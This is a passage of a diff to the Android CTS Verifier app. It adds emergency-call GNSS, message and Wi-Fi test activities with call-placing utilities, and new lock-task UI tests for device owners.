         DevicePropertyInfo devicePropertyInfo = new DevicePropertyInfo(Build.CPU_ABI,
                 Build.CPU_ABI2, abis, abis32, abis64, Build.BOARD, Build.BRAND, Build.DEVICE,
                 Build.FINGERPRINT, Build.ID, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT,
-                referenceFingerprint, Build.SERIAL, Build.TAGS, Build.TYPE, versionBaseOs,
+                referenceFingerprint, Build.getSerial(), Build.TAGS, Build.TYPE, versionBaseOs,
                 Build.VERSION.RELEASE, Integer.toString(Build.VERSION.SDK_INT),
                 versionSecurityPatch, Build.VERSION.INCREMENTAL);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java
new file mode 100644
index 0000000..1e24e6a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.GnssMeasurementValuesTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS GnssMeasurementValuesTest while dialing emergency number.
+ * It is a wrapper for {@link GnssMeasurementValuesTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallGNSSTestsActivity extends EmergencyCallBaseTestActivity {
+  // GNSS test has a longer timeout
+  private static final long PHONE_CALL_DURATION_MS = TimeUnit.MINUTES.toMillis(2);
+
+  public EmergencyCallGNSSTestsActivity() {
+    super(GnssMeasurementValuesTest.class);
+  }
+
+  @Override
+  protected long getPhoneCallDurationMs() {
+    return PHONE_CALL_DURATION_MS;
+  }
+
+  @Override
+  protected boolean showLocalNumberInputbox() {
+    return false;
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java
new file mode 100644
index 0000000..7377065
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.EmergencyCallMessageTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS EmergencyCallMessageTest while dialing emergency number.
+ * It is a wrapper for {@link EmergencyCallMessageTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallMessageTestsActivity extends EmergencyCallBaseTestActivity {
+  private static final long PHONE_CALL_DURATION_MS = TimeUnit.SECONDS.toMillis(35);
+  public EmergencyCallMessageTestsActivity() {
+    super(EmergencyCallMessageTest.class);
+  }
+
+  @Override
+  protected long getPhoneCallDurationMs() {
+    return PHONE_CALL_DURATION_MS;
+  }
+
+  @Override
+  protected boolean showLocalNumberInputbox() {
+    return true;
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java
new file mode 100644
index 0000000..634863d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.EmergencyCallWifiTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS EmergencyCallWifiTest while dialing emergency number.
+ * It is a wrapper for {@link EmergencyCallWifiTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallWifiTestsActivity extends EmergencyCallBaseTestActivity {
+    private static final long PHONE_CALL_DURATION_MS = TimeUnit.SECONDS.toMillis(35);
+    public EmergencyCallWifiTestsActivity() {
+        super(EmergencyCallWifiTest.class);
+    }
+
+    @Override
+    protected long getPhoneCallDurationMs() {
+      return PHONE_CALL_DURATION_MS;
+    }
+
+    @Override
+    protected boolean showLocalNumberInputbox() {
+      return false;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java
new file mode 100644
index 0000000..ef88e9b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location.base;
+
+import android.app.AlertDialog;
+import android.content.DialogInterface;
+import android.location.cts.GnssTestCase;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.LayoutInflater;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.FrameLayout;
+import com.android.cts.verifier.R;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An Activity that allows Gnss CTS tests to be executed inside CtsVerifier.
+ *
+ * Sub-classes pass the test class as part of construction.
+ * One JUnit test class is executed per Activity, the test class can still be executed outside
+ * CtsVerifier.
+ */
+public abstract class EmergencyCallBaseTestActivity extends GnssCtsTestActivity {
+    private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
+    private static final String defaultPhonePackageName = "com.google.android.dialer";
+
+    /**
+     * Constructor for a CTS test executor. It will execute a standalone CTS test class.
+     *
+     * @param testClass The test class to execute, it must be a subclass of {@link AndroidTestCase}.
+     */
+    protected EmergencyCallBaseTestActivity(Class<? extends GnssTestCase> testClass) {
+        super(testClass);
+    }
+
+    protected abstract long getPhoneCallDurationMs();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        // override the test info
+        mTextView.setText(R.string.location_emergency_call_test_info);
+        EmergencyCallUtil.setDefaultDialer(this, this.getPackageName());
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        EmergencyCallUtil.setDefaultDialer(this, defaultPhonePackageName);
+    }
+
+    protected abstract boolean showLocalNumberInputbox();
+
+    @Override
+    public void onClick(View target) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this);
+        final FrameLayout frameView = new FrameLayout(this);
+        builder.setView(frameView);
+
+        final boolean enableLocalNumberInputBox = showLocalNumberInputbox();
+        final AlertDialog alertDialog = builder.create();
+        LayoutInflater inflater = alertDialog.getLayoutInflater();
+
+        View dialogView;
+        if (enableLocalNumberInputBox) {
+            dialogView =
+                inflater.inflate(R.layout.emergency_call_msg_test_confirm_dialog, frameView);
+        } else {
+            dialogView = inflater.inflate(R.layout.emergency_call_confirm_dialog, frameView);
+        }
+        final EditText targetNumberEditText =
+            (EditText) dialogView.findViewById(R.id.emergency_number);
+        final Button dialButton = (Button) dialogView.findViewById(R.id.dial_button);
+        dialButton.setOnClickListener(new Button.OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                if (enableLocalNumberInputBox) {
+                    final EditText currentNumberEditText =
+                        (EditText) dialogView.findViewById(R.id.local_phone_number);
+                    String currentNumber = currentNumberEditText.getText().toString();
+                    // pass the number to cts tests for cts verifier UI, through System property.
+                    System.setProperty(PHONE_NUMBER_KEY, currentNumber);
+                }
+                int targetPhoneNumber =
+                    Integer.parseInt(targetNumberEditText.getText().toString());
+                long callDurationMs = EmergencyCallBaseTestActivity.this.getPhoneCallDurationMs();
+                EmergencyCallUtil.makePhoneCall(
+                    EmergencyCallBaseTestActivity.this, targetPhoneNumber);
+                EmergencyCallBaseTestActivity.super.onClick(target);
+                EmergencyCallUtil.endCallWithDelay(
+                    EmergencyCallBaseTestActivity.this.getApplicationContext(), callDurationMs);
+                alertDialog.dismiss();
+            }
+        });
+        alertDialog.show();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java
new file mode 100644
index 0000000..12b7ac2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location.base;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
+import android.text.InputType;
+import android.util.Log;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import com.android.cts.verifier.R;
+import java.lang.reflect.Method;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * The EmergencyCallUtil class provides util functions related to the emergency call.
+ */
+public class EmergencyCallUtil {
+    private static final int REQUEST_CODE_SET_DEFAULT_DIALER = 1;
+    private static final String TAG = "EmergencyCallUtil";
+    private static final long WAIT_FOR_CONNECTION_MS = TimeUnit.SECONDS.toMillis(3);
+
+    /*
+     * This method is used to set default dialer app.
+     * To dial 911, it requires to set the dialer to be the system default dial app.
+     *
+     * @param activity current Activity.
+     * @param packageName dialer package name.
+     */
+    public static void setDefaultDialer(Activity activity, String packageName) {
+        final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
+        intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+        activity.startActivityForResult(intent, REQUEST_CODE_SET_DEFAULT_DIALER);
+    }
+
+    public static void makePhoneCall(Activity activity, int phoneNumber) {
+        Intent callIntent = new Intent(Intent.ACTION_CALL);
+        callIntent.setData(Uri.parse("tel:" + phoneNumber));
+        try {
+            callIntent.setFlags(Intent.FLAG_ACTIVITY_NO_USER_ACTION);
+            activity.startActivityForResult(callIntent, REQUEST_CODE_SET_DEFAULT_DIALER);
+        } catch (SecurityException ex) {
+            Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+        }
+        // sleep 3sec to make sure call is connected
+        activity.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    Thread.sleep(WAIT_FOR_CONNECTION_MS);
+                } catch (InterruptedException ex) {
+                    Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+                }
+            }
+        });
+    }
+
+    public static void endCallWithDelay(Context context, long delayMs) {
+        Runnable runnable = new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    Thread.sleep(delayMs);
+                    endCall(context);
+                } catch (InterruptedException ex) {
+                    Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+                }
+            }
+        };
+        new Thread(runnable).start();
+    }
+
+    private static void endCall(Context context) {
+        try {
+            TelephonyManager telephonyManager =
+                (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+
+            Class<?> classTelephony = Class.forName(telephonyManager.getClass().getName());
+            Method methodGetITelephony = classTelephony.getDeclaredMethod("getITelephony");
+            methodGetITelephony.setAccessible(true);
+
+            Object telephonyInterface = methodGetITelephony.invoke(telephonyManager);
+
+            Class<?> telephonyInterfaceClass =
+                Class.forName(telephonyInterface.getClass().getName());
+            Method methodEndCall = telephonyInterfaceClass.getDeclaredMethod("endCall");
+
+            methodEndCall.invoke(telephonyInterface);
+
+        } catch (Exception e) {
+            Log.d(TAG, "Failed to cancel the call: " + e.toString());
+        }
+    }
+
+    private static String getCurrentPhoneNumber(Activity activity) {
+        TelephonyManager tMgr =
+            (TelephonyManager)activity.getSystemService(Context.TELEPHONY_SERVICE);
+        return tMgr.getLine1Number();
+    }
+
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 1d4d13a..4ea451a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -39,14 +39,12 @@
 import android.widget.Toast;
 
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.managedprovisioning.Utils;
 
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.ArrayList;
-import java.util.List;
 import java.util.concurrent.TimeUnit;
 
 public class CommandReceiverActivity extends Activity {
@@ -68,6 +66,7 @@
     public static final String COMMAND_SET_KEYGUARD_DISABLED = "set-keyguard-disabled";
     public static final String COMMAND_SET_LOCK_SCREEN_INFO = "set-lock-screen-info";
     public static final String COMMAND_SET_STATUSBAR_DISABLED = "set-statusbar-disabled";
+    public static final String COMMAND_SET_LOCK_TASK_FEATURES = "set-lock-task-features";
     public static final String COMMAND_ALLOW_ONLY_SYSTEM_INPUT_METHODS =
             "allow-only-system-input-methods";
     public static final String COMMAND_ALLOW_ONLY_SYSTEM_ACCESSIBILITY_SERVICES =
@@ -220,6 +219,11 @@
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
                     mDpm.setStatusBarDisabled(mAdmin, enforced);
                 } break;
+                case COMMAND_SET_LOCK_TASK_FEATURES: {
+                    int flags = intent.getIntExtra(EXTRA_VALUE,
+                            DevicePolicyManager.LOCK_TASK_FEATURE_NONE);
+                    mDpm.setLockTaskFeatures(mAdmin, flags);
+                } break;
                 case COMMAND_ALLOW_ONLY_SYSTEM_INPUT_METHODS: {
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
                     mDpm.setPermittedInputMethods(mAdmin, enforced ? new ArrayList() : null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index f54e567..7cc1db5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -25,6 +25,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.PersistableBundle;
+import android.support.v4.content.LocalBroadcastManager;
 import android.util.Log;
 
 import com.android.cts.verifier.R;
@@ -76,6 +77,20 @@
                 R.string.bugreport_failed_completing), Utils.BUGREPORT_NOTIFICATION_ID);
     }
 
+    @Override
+    public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
+        Log.i(TAG, "Entering LockTask mode: " + pkg);
+        LocalBroadcastManager.getInstance(context)
+                .sendBroadcast(new Intent(LockTaskUiTestActivity.ACTION_LOCK_TASK_STARTED));
+    }
+
+    @Override
+    public void onLockTaskModeExiting(Context context, Intent intent) {
+        Log.i(TAG, "Exiting LockTask mode");
+        LocalBroadcastManager.getInstance(context)
+                .sendBroadcast(new Intent(LockTaskUiTestActivity.ACTION_LOCK_TASK_STOPPED));
+    }
+
     private void setupProfile(Context context) {
         DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
         dpm.setProfileEnabled(new ComponentName(context.getApplicationContext(), getClass()));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 0cae6be..55b2b9c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -21,7 +21,6 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -29,12 +28,10 @@
 import android.os.Bundle;
 import android.os.UserManager;
 import android.provider.Settings;
-import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
 
 import com.android.cts.verifier.ArrayTestListAdapter;
-import com.android.cts.verifier.IntentDrivenTestActivity;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -60,6 +57,7 @@
     private static final String WIFI_LOCKDOWN_TEST_ID = WifiLockdownTestActivity.class.getName();
     private static final String DISABLE_STATUS_BAR_TEST_ID = "DISABLE_STATUS_BAR";
     private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
+    private static final String LOCK_TASK_UI_TEST_ID = "LOCK_TASK_UI";
     private static final String CHECK_PERMISSION_LOCKDOWN_TEST_ID =
             PermissionLockdownTestActivity.class.getName();
     private static final String DISALLOW_CONFIG_BT_ID = "DISALLOW_CONFIG_BT";
@@ -279,6 +277,14 @@
                                         CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
                                                 false))}));
 
+        // setLockTaskFeatures
+        final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
+        lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID, LOCK_TASK_UI_TEST_ID);
+        adapter.add(createTestItem(this, LOCK_TASK_UI_TEST_ID,
+                R.string.device_owner_lock_task_ui_test,
+                lockTaskUiTestIntent));
+
+        // setUserIcon
         adapter.add(createInteractiveTestItem(this, SET_USER_ICON_TEST_ID,
                 R.string.device_owner_set_user_icon,
                 R.string.device_owner_set_user_icon_instruction,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 71c4421..3a16297 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -269,19 +269,18 @@
                                             CommandReceiverActivity.
                                             COMMAND_REMOVE_MANAGED_PROFILE))}));
         }
-        // Disabled for API 26 due to b/63696536.
-        // adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
-        //         R.string.enterprise_privacy_failed_password_wipe,
-        //         R.string.enterprise_privacy_failed_password_wipe_info,
-        //         new ButtonInfo[] {
-        //                 new ButtonInfo(R.string.enterprise_privacy_open_settings,
-        //                         new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
-        //                 new ButtonInfo(R.string.enterprise_privacy_set_limit,
-        //                         buildCommandIntent(CommandReceiverActivity
-        //                                 .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
-        //                 new ButtonInfo(R.string.enterprise_privacy_finish,
-        //                         buildCommandIntent(CommandReceiverActivity
-        //                                 .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
+                R.string.enterprise_privacy_failed_password_wipe,
+                R.string.enterprise_privacy_failed_password_wipe_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_limit,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
         if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)) {
             adapter.add(createInteractiveTestItem(this,
                     ENTERPRISE_PRIVACY_COMP_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
new file mode 100644
index 0000000..a6e6b2f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -0,0 +1,355 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NONE;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_RECENTS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.DataSetObserver;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+import com.android.cts.verifier.TestResult;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for {@link DevicePolicyManager#setLockTaskFeatures(ComponentName, int)}.
+ */
+public class LockTaskUiTestActivity extends PassFailButtons.TestListActivity {
+
+    private static final String TAG = LockTaskUiTestActivity.class.getSimpleName();
+
+    public static final String EXTRA_TEST_ID =
+            "com.android.cts.verifier.managedprovisioning.extra.TEST_ID";
+
+    /** Broadcast action sent by {@link DeviceAdminTestReceiver} when LockTask starts. */
+    static final String ACTION_LOCK_TASK_STARTED =
+            "com.android.cts.verifier.managedprovisioning.action.LOCK_TASK_STARTED";
+    /** Broadcast action sent by {@link DeviceAdminTestReceiver} when LockTask stops. */
+    static final String ACTION_LOCK_TASK_STOPPED =
+            "com.android.cts.verifier.managedprovisioning.action.LOCK_TASK_STOPPED";
+
+    private static final ComponentName ADMIN_RECEIVER =
+            DeviceAdminTestReceiver.getReceiverComponentName();
+    private static final String TEST_PACKAGE_NAME = "com.android.cts.verifier";
+    private static final String ACTION_STOP_LOCK_TASK =
+            "com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK";
+
+    private static final String TEST_ID_DEFAULT = "lock-task-ui-default";
+    private static final String TEST_ID_SYSTEM_INFO = "lock-task-ui-system-info";
+    private static final String TEST_ID_NOTIFICATIONS = "lock-task-ui-notifications";
+    private static final String TEST_ID_HOME = "lock-task-ui-home";
+    private static final String TEST_ID_RECENTS = "lock-task-ui-recents";
+    private static final String TEST_ID_GLOBAL_ACTIONS = "lock-task-ui-global-actions";
+    private static final String TEST_ID_KEYGUARD = "lock-task-ui-keyguard";
+    private static final String TEST_ID_STOP_LOCK_TASK = "lock-task-ui-stop-lock-task";
+
+    private DevicePolicyManager mDpm;
+    private ActivityManager mAm;
+    private NotificationManager mNotifyMgr;
+
+    private LockTaskStateChangedReceiver mStateChangedReceiver;
+    private CountDownLatch mLockTaskStartedLatch;
+    private CountDownLatch mLockTaskStoppedLatch;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.device_owner_lock_task_ui);
+        setPassFailButtonClickListeners();
+
+        mDpm = getSystemService(DevicePolicyManager.class);
+        mAm = getSystemService(ActivityManager.class);
+        mNotifyMgr = getSystemService(NotificationManager.class);
+
+        final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+        addTestsToAdapter(adapter);
+        adapter.registerDataSetObserver(new DataSetObserver() {
+            @Override
+            public void onChanged() {
+                updatePassButton();
+            }
+        });
+        setTestListAdapter(adapter);
+
+        Button startLockTaskButton = findViewById(R.id.start_lock_task_button);
+        startLockTaskButton.setOnClickListener((view) -> startLockTaskMode());
+
+        if (ACTION_STOP_LOCK_TASK.equals(getIntent().getAction())) {
+            // This means we're started by the "stop LockTask mode" test activity (the last one in
+            // the list) in order to stop LockTask.
+            stopLockTaskMode();
+        }
+    }
+
+    private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        adapter.add(createInteractiveTestItem(this,
+                TEST_ID_DEFAULT,
+                R.string.device_owner_lock_task_ui_default_test,
+                R.string.device_owner_lock_task_ui_default_test_info,
+                new ButtonInfo[]{}));
+
+        adapter.add(createSetLockTaskFeaturesTest(
+                TEST_ID_SYSTEM_INFO,
+                LOCK_TASK_FEATURE_SYSTEM_INFO,
+                R.string.device_owner_lock_task_ui_system_info_test,
+                R.string.device_owner_lock_task_ui_system_info_test_info));
+
+        adapter.add(createSetLockTaskFeaturesTest(
+                TEST_ID_NOTIFICATIONS,
+                LOCK_TASK_FEATURE_NOTIFICATIONS,
+                R.string.device_owner_lock_task_ui_notifications_test,
+                R.string.device_owner_lock_task_ui_notifications_test_info));
+
+        adapter.add(createSetLockTaskFeaturesTest(
+                TEST_ID_HOME,
+                LOCK_TASK_FEATURE_HOME,
+                R.string.device_owner_lock_task_ui_home_test,
+                R.string.device_owner_lock_task_ui_home_test_info));
+
+        adapter.add(createSetLockTaskFeaturesTest(
+                TEST_ID_RECENTS,
+                LOCK_TASK_FEATURE_RECENTS,
+                R.string.device_owner_lock_task_ui_recents_test,
+                R.string.device_owner_lock_task_ui_recents_test_info));
+
+        adapter.add(createSetLockTaskFeaturesTest(
+                TEST_ID_GLOBAL_ACTIONS,
+                LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+                R.string.device_owner_lock_task_ui_global_actions_test,
+                R.string.device_owner_lock_task_ui_global_actions_test_info));
+
+        adapter.add(createSetLockTaskFeaturesTest(
+                TEST_ID_KEYGUARD,
+                LOCK_TASK_FEATURE_KEYGUARD,
+                R.string.device_owner_lock_task_ui_keyguard_test,
+                R.string.device_owner_lock_task_ui_keyguard_test_info));
+
+        final Intent stopLockTaskIntent = new Intent(this, LockTaskUiTestActivity.class);
+        stopLockTaskIntent.setAction(ACTION_STOP_LOCK_TASK);
+        adapter.add(createInteractiveTestItem(this,
+                TEST_ID_STOP_LOCK_TASK,
